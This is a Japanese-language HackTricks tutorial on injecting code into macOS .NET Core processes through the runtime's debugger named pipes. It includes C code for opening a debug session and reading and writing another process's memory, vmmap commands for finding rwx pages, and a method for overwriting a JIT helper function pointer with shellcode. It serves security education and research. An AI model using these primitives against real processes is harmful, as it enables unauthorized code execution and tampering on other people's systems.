13 KiB
macOS .Netアプリケーションのインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
.NET Coreデバッグ
デバッグセッションの確立
dbgtransportsession.cppは、デバッガからデバッギーへの通信を処理する責任があります。
これは、dbgtransportsession.cpp#L127でtwowaypipe.cpp#L27を呼び出すことで、.Netプロセスごとに2つの名前付きパイプを作成します(1つは**-in
で終わり、もう1つは-out
**で終わり、残りの名前は同じになります)。
したがって、ユーザーの**$TMPDIR
に移動すると、.Netアプリケーションをデバッグするために使用できるデバッグ用のFIFO**を見つけることができます。
関数DbgTransportSession::TransportWorkerは、デバッガからの通信を処理します。
デバッガが最初に行う必要があることは、新しいデバッグセッションを作成することです。これは、.NET
ソースから取得できるMessageHeader
構造体で始まるout
パイプを介してメッセージを送信することで行われます。
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
新しいセッションリクエストの場合、この構造体は以下のように設定されます:
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
構築が完了したら、write
シスコールを使用してこれをターゲットに送信します。
write(wr, &sSendHeader, sizeof(MessageHeader));
以下は、sessionRequestData
構造体を送信する必要があります。この構造体には、セッションを識別するためのGUIDが含まれています。
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
セッションリクエストを送信すると、デバッガーセッションのリクエストが成功したかどうかを示すヘッダーをout
パイプから読み取ります。
read(rd, &sReceiveHeader, sizeof(MessageHeader));
メモリの読み取り
デバッグセッションが確立されている場合、MT_ReadMemory
というメッセージタイプを使用して、メモリを読み取ることができます。メモリを読み取るために必要な主なコードは次のとおりです:
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
証明コード(POC)はこちらで見つけることができます。
メモリの書き込み
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
この操作を行うために使用されるPOCコードはこちらで見つけることができます。
.NET Coreコードの実行
最初に、実行するためのシェルコードを保存するために**rwx
**で実行されているメモリ領域を特定する必要があります。これは簡単に次のコードで行うことができます:
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
次に、実行をトリガーするためには、関数ポインタが上書きされる場所を知る必要があります。.NET CoreランタイムがJITコンパイルのためのヘルパー関数を提供するために使用する**Dynamic Function Table (DFT)**内のポインタを上書きすることが可能です。サポートされている関数ポインタのリストは、jithelpers.h
内で見つけることができます。
x64バージョンでは、シグネチャハンティングテクニックを使用して、**libcorclr.dll
内のシンボル_hlpDynamicFuncTable
**への参照を検索することで、これを簡単に行うことができます。次に、このポインタを参照解除することができます。
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**MT_GetDCB
を利用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、今回の場合は、m_helperRemoteStartAddr
というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内にlibcorclr.dll
が配置されている場所**を知ることができ、DFTの検索を開始することができます。
このアドレスを知ることで、関数ポインタを自分のシェルコードで上書きすることが可能です。
PowerShellにインジェクトするために使用される完全なPOCコードは、こちらで見つけることができます。
参考文献
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。